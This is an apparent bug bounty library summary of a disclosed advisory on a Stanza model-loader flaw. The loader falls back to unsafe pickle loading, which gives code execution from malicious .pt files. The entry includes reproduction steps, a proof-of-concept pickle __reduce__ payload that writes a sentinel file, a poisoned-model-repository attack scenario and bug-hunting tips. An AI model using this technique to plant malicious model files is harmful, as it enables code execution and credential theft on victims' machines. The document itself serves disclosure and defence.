# Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Stanza's pretrain loader falls back to unsafe torch.load(weights_only=False) on attacker-triggerable UnpicklingError, giving RCE when a malicious .pt model file is loaded.

- Payout: Research
- Severity: high
- Program: Stanza
- Found by: RamiAltai
- Disclosed: 2026-06-19
- CVE: CVE-2026-54499
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v5jw-96jm-7h2c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5jw-96jm-7h2c
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce

**Target:** PyTorch .pt pretrain/model checkpoint loader (stanza.models.common.pretrain)
**Root cause:** The loader catches pickle.UnpicklingError from torch.load(weights_only=True) and retries the same attacker-controlled file with weights_only=False, invoking full pickle deserialization. The exception is trivially triggered by embedding any non-allowlisted pickle global.
**Steps:**
1. Install `pip install stanza==1.12.0 torch==2.12.0`
2. Build a valid Stanza pretrain state dict (vocab with `_id2unit`/`_unit2id`, `emb` tensor) and embed a payload object whose `__reduce__` returns `(open, (path, "w"))`
3. Save with `torch.save(state, MODEL)`
4. Confirm `torch.load(MODEL, lambda s,l: s, weights_only=True)` raises UnpicklingError and does not execute
5. Call `load_pretrain(MODEL, foundation_cache=FoundationCache())`; the fallback fires and the payload executes (sentinel file created)
**How found:** Code review of the try/except around torch.load in pretrain.py: noticed the UnpicklingError handler retries with weights_only=False, and that the exception condition is attacker-controllable via a single unsupported pickle global. Then grepped for the same pattern, finding five more loaders plus one call with no weights_only argument.
**Exploitation:** Attacker places a malicious .pt pretrain file where Stanza will load it (poisoned HuggingFace repo, shared model cache on NFS/S3, third-party fine-tuning hub). When a victim runs stanza.Pipeline(lang) or load_pretrain, the safe load raises UnpicklingError, the unsafe reload executes the pickle __reduce__, yielding code execution with the process's privileges (dev workstation, Jupyter server, GPU node) for credential theft and backdoors.
**Insight:** When a library 'safely' loads with weights_only=True, check the exception handler: any fallback to weights_only=False on a catchable, attacker-triggerable error (UnpicklingError, allowlist rejection) is a full bypass. Grep ML repos for `except UnpicklingError` and bare `torch.load(` without weights_only.

## Proof of concept (copied exactly from the original report)

**Malicious pickle payload class with __reduce__**

```
class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))
```

**PoC builds malicious pretrain state dict and saves**

```
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the malicious object
}
torch.save(state, MODEL)
```

**PoC loads via Stanza API triggering fallback**

```
cache   = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)

print(f"stanza={stanza.__version__}  torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
```

